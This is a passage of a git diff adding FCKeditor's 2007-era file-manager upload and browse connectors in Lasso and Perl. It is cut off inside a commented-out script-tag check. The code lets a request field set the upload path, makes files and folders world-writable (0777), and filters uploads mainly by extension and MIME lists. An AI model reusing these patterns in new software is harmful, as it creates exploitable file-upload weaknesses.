+                    files. (Test.txt, Test(1).txt, Test(2).txt, etc.)                                                          
+                    */                                                          
+                                       $NewFileName = $NewFile->find('OrigName');                                                                                                      
+                                       $OrigFilePath = $currentFolderURL + $NewFileName;
+                                       $NewFilePath = $OrigFilePath;
+                                       local('fileExtension') = '.' + $NewFile->find('OrigExtension');                                 
+                                       local('shortFileName') = $NewFileName->removetrailing(#fileExtension)&;
+
+
+                    /*.....................................................     
+                    Make sure the file extension is allowed.                                                          
+                    */                                                          
+                                       if($config->find('DeniedExtensions')->find($Type) >> $NewFile->find('OrigExtension'));
+                                               $uploadResult = '202';
+                                       else;
+                        /*.................................................     
+                        Rename the target path until it is unique.                                                    
+                        */                                                                                                                                     
+                                               while(file_exists($NewFilePath));
+                                                       $NewFilePath = $currentFolderURL + #shortFileName + '(' + loop_count + ')' + #fileExtension;
+                                               /while;
+                                               
+                                               
+                        /*.................................................     
+                        Copy the uploaded file to its final location.                                                     
+                        */                                                      
+                                               file_copy($NewFile->find('path'), $NewFilePath);
+
+
+                        /*.................................................     
+                        Set the error code for the response. Note whether
+                        the file had to be renamed.                                                      
+                        */                                                                                                     
+                                               select(file_currenterror( -errorcode));
+                                                       case(0);
+                                                               $OrigFilePath != $NewFilePath ? $uploadResult = '201, \'' + $NewFilePath->split('/')->last + '\'';
+                                                       case;
+                                                               $uploadResult = '202';
+                                               /select;
+                                       /if;
+                               /if;
+
+
+                /*.........................................................     
+                Set the HTML response.                                                               
+                */                                                                                             
+                               $__html_reply__ = '\
+<script type="text/javascript">
+       window.parent.frames[\'frmUpload\'].OnUploadCompleted(' + $uploadResult + ');
+</script>
+                               ';
+               /select;
+       /inline;
+
+
+    /*.....................................................................     
+    Send a custom header for xml responses.                                                                          
+    */                                                                          
+       if($responseType == 'xml');
+               header;
+]
+HTTP/1.0 200 OK
+Date: [$headerDate]
+Server: Lasso Professional [lasso_version( -lassoversion)]
+Expires: Mon, 26 Jul 1997 05:00:00 GMT
+Last-Modified: [$headerDate]
+Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
+Pragma: no-cache
+Keep-Alive: timeout=15, max=98
+Connection: Keep-Alive
+Content-Type: text/xml; charset=utf-8
+[//lasso
+               /header;
+
+
+        /*.................................................................     
+        Set the content type encoding for Lasso.                                                                      
+        */                                                                      
+               content_type('text/xml; charset=utf-8');
+
+
+        /*.................................................................     
+        Wrap the response as XML and output.                                                                      
+        */                                                                      
+               $__html_reply__ = '\
+<?xml version="1.0" encoding="utf-8" ?>
+<Connector command="' + $Command + '" resourceType="' + $Type + '">
+       <CurrentFolder path="' + $CurrentFolder + '" url="' + $currentFolderURL + '" />
+' + $commandData + '
+</Connector>
+               ';
+       /if;
+]      
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/perl/basexml.pl b/fckeditor/editor/filemanager/browser/default/connectors/perl/basexml.pl
new file mode 100755 (executable)
index 0000000..3cb7e83
--- /dev/null
@@ -0,0 +1,67 @@
+#####
+#  FCKeditor - The text editor for Internet - http://www.fckeditor.net
+#  Copyright (C) 2003-2007 Frederico Caldeira Knabben
+#  
+#  == BEGIN LICENSE ==
+#  
+#  Licensed under the terms of any of the following licenses at your
+#  choice:
+#  
+#   - GNU General Public License Version 2 or later (the "GPL")
+#     http://www.gnu.org/licenses/gpl.html
+#  
+#   - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+#     http://www.gnu.org/licenses/lgpl.html
+#  
+#   - Mozilla Public License Version 1.1 or later (the "MPL")
+#     http://www.mozilla.org/MPL/MPL-1.1.html
+#  
+#  == END LICENSE ==
+#  
+#  File Name: basexml.pl
+#      This is the File Manager Connector for Perl.
+#  
+#  File Authors:
+#              Takashi Yamaguchi (jack@omakase.net)
+#####
+
+sub CreateXmlHeader
+{
+       local($command,$resourceType,$currentFolder) = @_;
+
+       # Create the XML document header.
+       print '<?xml version="1.0" encoding="utf-8" ?>';
+
+       # Create the main "Connector" node.
+       print '<Connector command="' . $command . '" resourceType="' . $resourceType . '">';
+
+       # Add the current folder node.
+       print '<CurrentFolder path="' . ConvertToXmlAttribute($currentFolder) . '" url="' . ConvertToXmlAttribute(GetUrlFromPath($resourceType,$currentFolder)) . '" />';
+}
+
+sub CreateXmlFooter
+{
+       print '</Connector>';
+}
+
+sub SendError
+{
+       local( $number, $text ) = @_;
+
+       print << "_HTML_HEAD_";
+Content-Type:text/xml; charset=utf-8
+Pragma: no-cache
+Cache-Control: no-cache
+Expires: Thu, 01 Dec 1994 16:00:00 GMT
+
+_HTML_HEAD_
+
+       # Create the XML document header
+       print '<?xml version="1.0" encoding="utf-8" ?>' ;
+       
+       print '<Connector><Error number="' . $number . '" text="' . &specialchar_cnv( $text ) . '" /></Connector>' ;
+       
+       exit ;
+}
+
+1;
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/perl/commands.pl b/fckeditor/editor/filemanager/browser/default/connectors/perl/commands.pl
new file mode 100755 (executable)
index 0000000..2bc105d
--- /dev/null
@@ -0,0 +1,162 @@
+#####
+#  FCKeditor - The text editor for Internet - http://www.fckeditor.net
+#  Copyright (C) 2003-2007 Frederico Caldeira Knabben
+#  
+#  == BEGIN LICENSE ==
+#  
+#  Licensed under the terms of any of the following licenses at your
+#  choice:
+#  
+#   - GNU General Public License Version 2 or later (the "GPL")
+#     http://www.gnu.org/licenses/gpl.html
+#  
+#   - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+#     http://www.gnu.org/licenses/lgpl.html
+#  
+#   - Mozilla Public License Version 1.1 or later (the "MPL")
+#     http://www.mozilla.org/MPL/MPL-1.1.html
+#  
+#  == END LICENSE ==
+#  
+#  File Name: commands.pl
+#      This is the File Manager Connector for Perl.
+#  
+#  File Authors:
+#              Takashi Yamaguchi (jack@omakase.net)
+#####
+
+sub GetFolders
+{
+
+       local($resourceType, $currentFolder) = @_;
+
+       # Map the virtual path to the local server path.
+       $sServerDir = &ServerMapFolder($resourceType, $currentFolder);
+       print "<Folders>";                      # Open the "Folders" node.
+
+       opendir(DIR,"$sServerDir");
+       @files = grep(!/^\.\.?$/,readdir(DIR));
+       closedir(DIR);
+
+       foreach $sFile (@files) {
+               if($sFile != '.' && $sFile != '..' && (-d "$sServerDir$sFile")) {
+                       $cnv_filename = &ConvertToXmlAttribute($sFile);
+                       print '<Folder name="' . $cnv_filename . '" />';
+               }
+       }
+       print "</Folders>";                     # Close the "Folders" node.
+}
+
+sub GetFoldersAndFiles
+{
+
+       local($resourceType, $currentFolder) = @_;
+       # Map the virtual path to the local server path.
+       $sServerDir = &ServerMapFolder($resourceType,$currentFolder);
+
+       # Initialize the output buffers for "Folders" and "Files".
+       $sFolders       = '<Folders>';
+       $sFiles         = '<Files>';
+
+       opendir(DIR,"$sServerDir");
+       @files = grep(!/^\.\.?$/,readdir(DIR));
+       closedir(DIR);
+
+       foreach $sFile (@files) {
+               if($sFile ne '.' && $sFile ne '..') {
+                       if(-d "$sServerDir$sFile") {
+                               $cnv_filename = &ConvertToXmlAttribute($sFile);
+                               $sFolders .= '<Folder name="' . $cnv_filename . '" />' ;
+                       } else {
+                               ($iFileSize,$refdate,$filedate,$fileperm) = (stat("$sServerDir$sFile"))[7,8,9,2];
+                               if($iFileSize > 0) {
+                                       $iFileSize = int($iFileSize / 1024);
+                                       if($iFileSize < 1) {
+                                               $iFileSize = 1;
+                                       }
+                               }
+                               $cnv_filename = &ConvertToXmlAttribute($sFile);
+                               $sFiles .= '<File name="' . $cnv_filename . '" size="' . $iFileSize . '" />' ;
+                       }
+               }
+       }
+       print $sFolders ;
+       print '</Folders>';                     # Close the "Folders" node.
+       print $sFiles ;
+       print '</Files>';                       # Close the "Files" node.
+}
+
+sub CreateFolder
+{
+
+       local($resourceType, $currentFolder) = @_;
+       $sErrorNumber   = '0' ;
+       $sErrorMsg              = '' ;
+
+       if($FORM{'NewFolderName'} ne "") {
+               $sNewFolderName = $FORM{'NewFolderName'};
+               # Map the virtual path to the local server path of the current folder.
+               $sServerDir = &ServerMapFolder($resourceType, $currentFolder);
+               if(-w $sServerDir) {
+                       $sServerDir .= $sNewFolderName;
+                       $sErrorMsg = &CreateServerFolder($sServerDir);
+                       if($sErrorMsg == 0) {
+                               $sErrorNumber = '0';
+                       } elsif($sErrorMsg eq 'Invalid argument' || $sErrorMsg eq 'No such file or directory') {
+                               $sErrorNumber = '102';          #// Path too long.
+                       } else {
+                               $sErrorNumber = '110';
+                       }
+               } else {
+                       $sErrorNumber = '103';
+               }
+       } else {
+               $sErrorNumber = '102' ;
+       }
+       # Create the "Error" node.
+       $cnv_errmsg = &ConvertToXmlAttribute($sErrorMsg);
+       print '<Error number="' . $sErrorNumber . '" originalDescription="' . $cnv_errmsg . '" />';
+}
+
+sub FileUpload
+{
+eval("use File::Copy;");
+
+       local($resourceType, $currentFolder) = @_;
+
+       $sErrorNumber = '0' ;
+       $sFileName = '' ;
+       if($new_fname) {
+               # Map the virtual path to the local server path.
+               $sServerDir = &ServerMapFolder($resourceType,$currentFolder);
+
+               # Get the uploaded file name.
+               $sFileName = $new_fname;
+               $sOriginalFileName = $sFileName;
+
+               $iCounter = 0;
+               while(1) {
+                       $sFilePath = $sServerDir . $sFileName;
+                       if(-e $sFilePath) {
+                               $iCounter++ ;
+                               ($path,$BaseName,$ext) = &RemoveExtension($sOriginalFileName);
+                               $sFileName = $BaseName . '(' . $iCounter . ').' . $ext;
+                               $sErrorNumber = '201';
+                       } else {
+                               copy("$img_dir/$new_fname","$sFilePath");
+                               chmod(0777,$sFilePath);
+                               unlink("$img_dir/$new_fname");
+                               last;
+                       }
+               }
+       } else {
+               $sErrorNumber = '202' ;
+       }
+       $sFileName      =~ s/"/\\"/g;
+       print "Content-type: text/html\n\n";
+       print '<script type="text/javascript">';
+       print 'window.parent.frames["frmUpload"].OnUploadCompleted(' . $sErrorNumber . ',"' . $sFileName . '") ;';
+       print '</script>';
+       exit ;
+}
+1;
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/perl/connector.cgi b/fckeditor/editor/filemanager/browser/default/connectors/perl/connector.cgi
new file mode 100755 (executable)
index 0000000..bbbd61a
--- /dev/null
@@ -0,0 +1,142 @@
+#!/usr/bin/env perl 
+
+#####
+#  FCKeditor - The text editor for Internet - http://www.fckeditor.net
+#  Copyright (C) 2003-2007 Frederico Caldeira Knabben
+#  
+#  == BEGIN LICENSE ==
+#  
+#  Licensed under the terms of any of the following licenses at your
+#  choice:
+#  
+#   - GNU General Public License Version 2 or later (the "GPL")
+#     http://www.gnu.org/licenses/gpl.html
+#  
+#   - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+#     http://www.gnu.org/licenses/lgpl.html
+#  
+#   - Mozilla Public License Version 1.1 or later (the "MPL")
+#     http://www.mozilla.org/MPL/MPL-1.1.html
+#  
+#  == END LICENSE ==
+#  
+#  File Name: connector.cgi
+#      This is the File Manager Connector for Perl.
+#  
+#  File Authors:
+#              Takashi Yamaguchi (jack@omakase.net)
+#              Frederico Caldeira Knabben (www.fckeditor.net)
+#####
+
+##
+# ATTENTION: To enable this connector, look for the "SECURITY" comment in this file.
+##
+
+## START: Hack for Windows (Not important to understand the editor code... Perl specific).
+if(Windows_check()) {
+       chdir(GetScriptPath($0));
+}
+
+sub Windows_check
+{
+       # IIS,PWS(NT/95)
+       $www_server_os = $^O;
+       # Win98 & NT(SP4)
+       if($www_server_os eq "") { $www_server_os= $ENV{'OS'}; }
+       # AnHTTPd/Omni/IIS
+       if($ENV{'SERVER_SOFTWARE'} =~ /AnWeb|Omni|IIS\//i) { $www_server_os= 'win'; }
+       # Win Apache
+       if($ENV{'WINDIR'} ne "") { $www_server_os= 'win'; }
+       if($www_server_os=~ /win/i) { return(1); }
+       return(0);
+}
+
+sub GetScriptPath {
+       local($path) = @_;
+       if($path =~ /[\:\/\\]/) { $path =~ s/(.*?)[\/\\][^\/\\]+$/$1/; } else { $path = '.'; }
+       $path;
+}
+## END: Hack for IIS
+
+require 'util.pl';
+require 'io.pl';
+require 'basexml.pl';
+require 'commands.pl';
+require 'upload_fck.pl';
+
+##
+# SECURITY: REMOVE/COMMENT THE FOLLOWING LINE TO ENABLE THIS CONNECTOR.
+##
+&SendError( 1, 'This connector is disabled. Please check the "editor/filemanager/browser/default/connectors/perl/connector.cgi" file' ) ;
+
+       &read_input();
+
+       if($FORM{'ServerPath'} ne "") {
+               $GLOBALS{'UserFilesPath'} = $FORM{'ServerPath'};
+               if(!($GLOBALS{'UserFilesPath'} =~ /\/$/)) {
+                       $GLOBALS{'UserFilesPath'} .= '/' ;
+               }
+       } else {
+               $GLOBALS{'UserFilesPath'} = '/userfiles/';
+       }
+
+       # Map the "UserFiles" path to a local directory.
+       $rootpath = &GetRootPath();
+       $GLOBALS{'UserFilesDirectory'} = $rootpath . $GLOBALS{'UserFilesPath'};
+
+       &DoResponse();
+
+sub DoResponse
+{
+
+       if($FORM{'Command'} eq "" || $FORM{'Type'} eq "" || $FORM{'CurrentFolder'} eq "") {
+               return ;
+       }
+       # Get the main request informaiton.
+       $sCommand               = $FORM{'Command'};
+       $sResourceType  = $FORM{'Type'};
+       $sCurrentFolder = $FORM{'CurrentFolder'};
+
+       # Check the current folder syntax (must begin and start with a slash).
+       if(!($sCurrentFolder =~ /\/$/)) {
+               $sCurrentFolder .= '/';
+       }
+       if(!($sCurrentFolder =~ /^\//)) {
+               $sCurrentFolder = '/' . $sCurrentFolder;
+       }
+       
+       # Check for invalid folder paths (..)
+       if ( $sCurrentFolder =~ /\.\./ ) {
+               SendError( 102, "" ) ;
+       }
+
+       # File Upload doesn't have to Return XML, so it must be intercepted before anything.
+       if($sCommand eq 'FileUpload') {
+               FileUpload($sResourceType,$sCurrentFolder);
+               return ;
+       }
+
+       print << "_HTML_HEAD_";
+Content-Type:text/xml; charset=utf-8
+Pragma: no-cache
+Cache-Control: no-cache
+Expires: Thu, 01 Dec 1994 16:00:00 GMT
+
+_HTML_HEAD_
+
+       &CreateXmlHeader($sCommand,$sResourceType,$sCurrentFolder);
+       
+       # Execute the required command.
+       if($sCommand eq 'GetFolders') {
+               &GetFolders($sResourceType,$sCurrentFolder);
+       } elsif($sCommand eq 'GetFoldersAndFiles') {
+               &GetFoldersAndFiles($sResourceType,$sCurrentFolder);
+       } elsif($sCommand eq 'CreateFolder') {
+               &CreateFolder($sResourceType,$sCurrentFolder);
+       }
+       
+       &CreateXmlFooter();
+       
+       exit ;
+}
+
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/perl/io.pl b/fckeditor/editor/filemanager/browser/default/connectors/perl/io.pl
new file mode 100755 (executable)
index 0000000..2cf75e0
--- /dev/null
@@ -0,0 +1,135 @@
+#####
+#  FCKeditor - The text editor for Internet - http://www.fckeditor.net
+#  Copyright (C) 2003-2007 Frederico Caldeira Knabben
+#  
+#  == BEGIN LICENSE ==
+#  
+#  Licensed under the terms of any of the following licenses at your
+#  choice:
+#  
+#   - GNU General Public License Version 2 or later (the "GPL")
+#     http://www.gnu.org/licenses/gpl.html
+#  
+#   - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+#     http://www.gnu.org/licenses/lgpl.html
+#  
+#   - Mozilla Public License Version 1.1 or later (the "MPL")
+#     http://www.mozilla.org/MPL/MPL-1.1.html
+#  
+#  == END LICENSE ==
+#  
+#  File Name: io.pl
+#      This is the File Manager Connector for Perl.
+#  
+#  File Authors:
+#              Takashi Yamaguchi (jack@omakase.net)
+#####
+
+sub GetUrlFromPath
+{
+       local($resourceType, $folderPath) = @_;
+
+       if($resourceType eq '') {
+               $rmpath = &RemoveFromEnd($GLOBALS{'UserFilesPath'},'/');
+               return("$rmpath$folderPath");
+       } else {
+               return("$GLOBALS{'UserFilesPath'}$resourceType$folderPath");
+       }
+}
+
+sub RemoveExtension
+{
+       local($fileName) = @_;
+       local($path, $base, $ext);
+       if($fileName !~ /\./) {
+               $fileName .= '.';
+       }
+       if($fileName =~ /([^\\\/]*)\.(.*)$/) {
+               $base = $1;
+               $ext  = $2;
+               if($fileName =~ /(.*)$base\.$ext$/) {
+                       $path = $1;
+               }
+       }
+       return($path,$base,$ext);
+
+}
+
+sub ServerMapFolder
+{
+       local($resourceType,$folderPath) = @_;
+
+       # Get the resource type directory.
+       $sResourceTypePath = $GLOBALS{'UserFilesDirectory'} . $resourceType . '/';
+
+       # Ensure that the directory exists.
+       &CreateServerFolder($sResourceTypePath);
+
+       # Return the resource type directory combined with the required path.
+       $rmpath = &RemoveFromStart($folderPath,'/');
+       return("$sResourceTypePath$rmpath");
+}
+
+sub GetParentFolder
+{
+       local($folderPath) = @_;
+
+       $folderPath =~ s/[\/][^\/]+[\/]?$//g;
+       return $folderPath;
+}
+
+sub CreateServerFolder
+{
+       local($folderPath) = @_;
+
+       $sParent = &GetParentFolder($folderPath);
+       # Check if the parent exists, or create it.
+       if(!(-e $sParent)) {
+               $sErrorMsg = &CreateServerFolder($sParent);
+               if($sErrorMsg == 1) {
+                       return(1);
+               }
+       }
+       if(!(-e $folderPath)) {
+               umask(000);
+               mkdir("$folderPath",0777);
+               chmod(0777,"$folderPath");
+               return(0);
+       } else {
+               return(1);
+       }
+}
+
+sub GetRootPath
+{
+#use Cwd;
+
+#      my $dir = getcwd;
+#      print $dir;
+#      $dir  =~ s/$ENV{'DOCUMENT_ROOT'}//g;
+#      print $dir;
+#      return($dir);
+
+#      $wk = $0;
+#      $wk =~ s/\/connector\.cgi//g;
+#      if($wk) {
+#              $current_dir = $wk;
+#      } else {
+#              $current_dir = `pwd`;
+#      }
+#      return($current_dir);
+use Cwd;
+
+       if($ENV{'DOCUMENT_ROOT'}) {
+               $dir = $ENV{'DOCUMENT_ROOT'};
+       } else {
+               my $dir = getcwd;
+               $workdir =~ s/\/connector\.cgi//g;
+               $dir  =~ s/$workdir//g;
+       }
+       return($dir);
+
+
+
+}
+1;
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/perl/upload_fck.pl b/fckeditor/editor/filemanager/browser/default/connectors/perl/upload_fck.pl
new file mode 100755 (executable)
index 0000000..fbfafeb
--- /dev/null
@@ -0,0 +1,671 @@
+#####
+#  FCKeditor - The text editor for Internet - http://www.fckeditor.net
+#  Copyright (C) 2003-2007 Frederico Caldeira Knabben
+#  
+#  == BEGIN LICENSE ==
+#  
+#  Licensed under the terms of any of the following licenses at your
+#  choice:
+#  
+#   - GNU General Public License Version 2 or later (the "GPL")
+#     http://www.gnu.org/licenses/gpl.html
+#  
+#   - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+#     http://www.gnu.org/licenses/lgpl.html
+#  
+#   - Mozilla Public License Version 1.1 or later (the "MPL")
+#     http://www.mozilla.org/MPL/MPL-1.1.html
+#  
+#  == END LICENSE ==
+#  
+#  File Name: upload_fck.pl
+#      This is the File Manager Connector for Perl.
+#  
+#  File Authors:
+#              Takashi Yamaguchi (jack@omakase.net)
+#####
+
+# image data save dir
+$img_dir       = './temp/';
+
+
+# File size max(unit KB)
+$MAX_CONTENT_SIZE =  30000;
+
+# Filelock (1=use,0=not use)
+$PM{'flock'}           = '1';
+
+
+# upload Content-Type list
+my %UPLOAD_CONTENT_TYPE_LIST = (
+       'image/(x-)?png'                                                =>      'png',  # PNG image
+       'image/p?jpe?g'                                                 =>      'jpg',  # JPEG image
+       'image/gif'                                                             =>      'gif',  # GIF image
+       'image/x-xbitmap'                                               =>      'xbm',  # XBM image
+
+       'image/(x-(MS-)?)?bmp'                                  =>      'bmp',  # Windows BMP image
+       'image/pict'                                                    =>      'pict', # Macintosh PICT image
+       'image/tiff'                                                    =>      'tif',  # TIFF image
+       'application/pdf'                                               =>      'pdf',  # PDF image
+       'application/x-shockwave-flash'                 =>      'swf',  # Shockwave Flash
+
+       'video/(x-)?msvideo'                                    =>      'avi',  # Microsoft Video
+       'video/quicktime'                                               =>      'mov',  # QuickTime Video
+       'video/mpeg'                                                    =>      'mpeg', # MPEG Video
+       'video/x-mpeg2'                                                 =>      'mpv2', # MPEG2 Video
+
+       'audio/(x-)?midi?'                                              =>      'mid',  # MIDI Audio
+       'audio/(x-)?wav'                                                =>      'wav',  # WAV Audio
+       'audio/basic'                                                   =>      'au',   # ULAW Audio
+       'audio/mpeg'                                                    =>      'mpga', # MPEG Audio
+
+       'application/(x-)?zip(-compressed)?'    =>      'zip',  # ZIP Compress
+
+       'text/html'                                                             =>      'html', # HTML
+       'text/plain'                                                    =>      'txt',  # TEXT
+       '(?:application|text)/(?:rtf|richtext)' =>      'rtf',  # RichText
+
+       'application/msword'                                    =>      'doc',  # Microsoft Word
+       'application/vnd.ms-excel'                              =>      'xls',  # Microsoft Excel
+
+       ''
+);
+
+# Upload is permitted.
+# A regular expression is possible.
+my %UPLOAD_EXT_LIST = (
+       'png'                                   =>      'PNG image',
+       'p?jpe?g|jpe|jfif|pjp'  =>      'JPEG image',
+       'gif'                                   =>      'GIF image',
+       'xbm'                                   =>      'XBM image',
+
+       'bmp|dib|rle'                   =>      'Windows BMP image',
+       'pi?ct'                                 =>      'Macintosh PICT image',
+       'tiff?'                                 =>      'TIFF image',
+       'pdf'                                   =>      'PDF image',
+       'swf'                                   =>      'Shockwave Flash',
+
+       'avi'                                   =>      'Microsoft Video',
+       'moo?v|qt'                              =>      'QuickTime Video',
+       'm(p(e?gv?|e|v)|1v)'    =>      'MPEG Video',
+       'mp(v2|2v)'                             =>      'MPEG2 Video',
+
+       'midi?|kar|smf|rmi|mff' =>      'MIDI Audio',
+       'wav'                                   =>      'WAVE Audio',
+       'au|snd'                                =>      'ULAW Audio',
+       'mp(e?ga|2|a|3)|abs'    =>      'MPEG Audio',
+
+       'zip'                                   =>      'ZIP Compress',
+       'lzh'                                   =>      'LZH Compress',
+       'cab'                                   =>      'CAB Compress',
+
+       'd?html?'                               =>      'HTML',
+       'rtf|rtx'                               =>      'RichText',
+       'txt|text'                              =>      'Text',
+
+       ''
+);
+
+
+# sjis or euc
+my $CHARCODE = 'sjis';
+
+$TRANS_2BYTE_CODE = 0;
+
+##############################################################################
+# Summary
+#
+# Form Read input
+#
+# Parameters
+# Returns
+# Memo
+##############################################################################
+sub read_input
+{
+eval("use File::Copy;");
+eval("use File::Path;");
+
+       my ($FORM) = @_;
+
+
+       mkdir($img_dir,0777);
+       chmod(0777,$img_dir);
+
+       undef $img_data_exists;
+       undef @NEWFNAMES;
+       undef @NEWFNAME_DATA;
+
+       if($ENV{'CONTENT_LENGTH'} > 10000000 || $ENV{'CONTENT_LENGTH'} > $MAX_CONTENT_SIZE * 1024) {
+               &upload_error(
+                       'Size Error',
+                       sprintf(
+                               "Transmitting size is too large.MAX <strong>%d KB</strong> Now Size <strong>%d KB</strong>(<strong>%d bytes</strong> Over)",
+                               $MAX_CONTENT_SIZE,
+                               int($ENV{'CONTENT_LENGTH'} / 1024),
+                               $ENV{'CONTENT_LENGTH'} - $MAX_CONTENT_SIZE * 1024
+                       )
+               );
+       }
+
+       my $Buffer;
+       if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data/) {
+               # METHOD POST only
+               return  unless($ENV{'CONTENT_LENGTH'});
+
+               binmode(STDIN);
+               # STDIN A pause character is detected.'(MacIE3.0 boundary of $ENV{'CONTENT_TYPE'} cannot be trusted.)
+               my $Boundary = <STDIN>;
+               $Boundary =~ s/\x0D\x0A//;
+               $Boundary = quotemeta($Boundary);
+               while(<STDIN>) {
+                       if(/^\s*Content-Disposition:/i) {
+                               my($name,$ContentType,$FileName);
+                               # form data get
+                               if(/\bname="([^"]+)"/i || /\bname=([^\s:;]+)/i) {
+                                       $name = $1;
+                                       $name   =~ tr/+/ /;
+                                       $name   =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
+                                       &Encode(\$name);
+                               }
+                               if(/\bfilename="([^"]*)"/i || /\bfilename=([^\s:;]*)/i) {
+                                       $FileName = $1 || 'unknown';
+                               }
+                               # head read
+                               while(<STDIN>) {
+                                       last    if(! /\w/);
+                                       if(/^\s*Content-Type:\s*"([^"]+)"/i || /^\s*Content-Type:\s*([^\s:;]+)/i) {
+                                               $ContentType = $1;
+                                       }
+                               }
+                               # body read
+                               $value = "";
+                               while(<STDIN>) {
+                                       last    if(/^$Boundary/o);
+                                       $value .= $_;
+                               };
+                               $lastline = $_;
+                               $value =~s /\x0D\x0A$//;
+                               if($value ne '') {
+                                       if($FileName || $ContentType) {
+                                               $img_data_exists = 1;
+                                               (
+                                                       $FileName,              #
+                                                       $Ext,                   #
+                                                       $Length,                #
+                                                       $ImageWidth,    #
+                                                       $ImageHeight,   #
+                                                       $ContentName    #
+                                               ) = &CheckContentType(\$value,$FileName,$ContentType);
+                                               
+                                               $FORM{$name}    = $FileName;
+                                               $new_fname              = $FileName;
+                                               push(@NEWFNAME_DATA,"$FileName\t$Ext\t$Length\t$ImageWidth\t$ImageHeight\t$ContentName");
+
+                                               # Multi-upload correspondence
+                                               push(@NEWFNAMES,$new_fname);
+                                               open(OUT,">$img_dir/$new_fname");
+                                               binmode(OUT);
+                                               eval "flock(OUT,2);" if($PM{'flock'} == 1);
+                                               print OUT $value;
+                                               eval "flock(OUT,8);" if($PM{'flock'} == 1);
+                                               close(OUT);
+
+                                       } elsif($name) {
+                                               $value  =~ tr/+/ /;
+                                               $value  =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
+                                               &Encode(\$value,'trans');
+                                               $FORM{$name} .= "\0"                    if(defined($FORM{$name}));
+                                               $FORM{$name} .= $value;
+                                       }
+                               }
+                       };
+                       last if($lastline =~ /^$Boundary\-\-/o);
+               }
+       } elsif($ENV{'CONTENT_LENGTH'}) {
+               read(STDIN,$Buffer,$ENV{'CONTENT_LENGTH'});
+       }
+       foreach(split(/&/,$Buffer),split(/&/,$ENV{'QUERY_STRING'})) {
+               my($name, $value) = split(/=/);
+               $name   =~ tr/+/ /;
+               $name   =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
+               $value  =~ tr/+/ /;
+               $value  =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
+
+               &Encode(\$name);
+               &Encode(\$value,'trans');
+               $FORM{$name} .= "\0"                    if(defined($FORM{$name}));
+               $FORM{$name} .= $value;
+
+       }
+
+}
+
+##############################################################################
+# Summary
+#
+#      CheckContentType
+#
+# Parameters
+# Returns
+# Memo
+##############################################################################
+sub CheckContentType
+{
+
+       my($DATA,$FileName,$ContentType) = @_;
+       my($Ext,$ImageWidth,$ImageHeight,$ContentName,$Infomation);
+       my $DataLength = length($$DATA);
+
+       # An unknown file type
+
+       $_ = $ContentType;
+       my $UnknownType = (
+               !$_
+               || /^application\/(x-)?macbinary$/i
+               || /^application\/applefile$/i
+               || /^application\/octet-stream$/i
+               || /^text\/plane$/i
+               || /^x-unknown-content-type/i
+       );
+
+       # MacBinary(Mac Unnecessary data are deleted.)
+       if($UnknownType || $ENV{'HTTP_USER_AGENT'} =~ /Macintosh|Mac_/) {
+               if($DataLength > 128 && !unpack("C",substr($$DATA,0,1)) && !unpack("C",substr($$DATA,74,1)) && !unpack("C",substr($$DATA,82,1)) ) {
+                       my $MacBinary_ForkLength = unpack("N", substr($$DATA, 83, 4));          # ForkLength Get
+                       my $MacBinary_FileName = quotemeta(substr($$DATA, 2, unpack("C",substr($$DATA, 1, 1))));
+                       if($MacBinary_FileName && $MacBinary_ForkLength && $DataLength >= $MacBinary_ForkLength + 128
+                                       && ($FileName =~ /$MacBinary_FileName/i || substr($$DATA,102,4) eq 'mBIN')) {   # DATA TOP 128byte MacBinary!!
+                               $$DATA                          = substr($$DATA,128,$MacBinary_ForkLength);
+                               my $ResourceLength      = $DataLength - $MacBinary_ForkLength - 128;
+                               $DataLength                     = $MacBinary_ForkLength;
+                       }
+               }
+       }
+
+       # A file name is changed into EUC.
+#      &jcode::convert(\$FileName,'euc',$FormCodeDefault);
+#      &jcode::h2z_euc(\$FileName);
+       $FileName =~ s/^.*\\//;                                 # Windows, Mac
+       $FileName =~ s/^.*\///;                                 # UNIX
+       $FileName =~ s/&/&amp;/g;
+       $FileName =~ s/"/&quot;/g;
+       $FileName =~ s/</&lt;/g;
+       $FileName =~ s/>/&gt;/g;
+#
+#      if($CHARCODE ne 'euc') {
+#              &jcode::convert(\$FileName,$CHARCODE,'euc');
+#      }
+
+       # An extension is extracted and it changes into a small letter.
+       my $FileExt;
+       if($FileName =~ /\.(\w+)$/) {
+               $FileExt = $1;
+               $FileExt =~ tr/A-Z/a-z/;
+       }
+
+       # Executable file detection (ban on upload)
+       if($$DATA =~ /^MZ/) {
+               $Ext = 'exe';
+       }
+       # text
+       if(!$Ext && ($UnknownType || $ContentType =~ /^text\//i || $ContentType =~ /^application\/(?:rtf|richtext)$/i || $ContentType =~ /^image\/x-xbitmap$/i)
+                               && ! $$DATA =~ /[\000-\006\177\377]/) {
+#              $$DATA =~ s/\x0D\x0A/\n/g;
+#              $$DATA =~ tr/\x0D\x0A/\n\n/;
+#
+#              if(
+#                      $$DATA =~ /<\s*SCRIPT(?:.|\n)*?>/i
+#                              || $$DATA =~ /<\s*(?:.|\n)*?\bONLOAD\s*=(?:.|\n)*?>/i
+#                              || $$DATA =~ /<\s*(?:.|\n)*?\bONCLICK\s*=(?:.|\n)*?>/i
+#                              ) {
+#                      $Infomation = '(JavaScript contains)';
+#              }
+#              if($$DATA =~ /<\s*TABLE(?:.|\n)*?>/i
+#                              || $$DATA =~ /<\s*BLINK(?:.|\n)*?>/i
+#                              || $$DATA =~ /<\s*MARQUEE(?:.|\n)*?>/i
+#                              || $$DATA =~ /<\s*OBJECT(?:.|\n)*?>/i
+#                              || $$DATA =~ /<\s*EMBED(?:.|\n)*?>/i
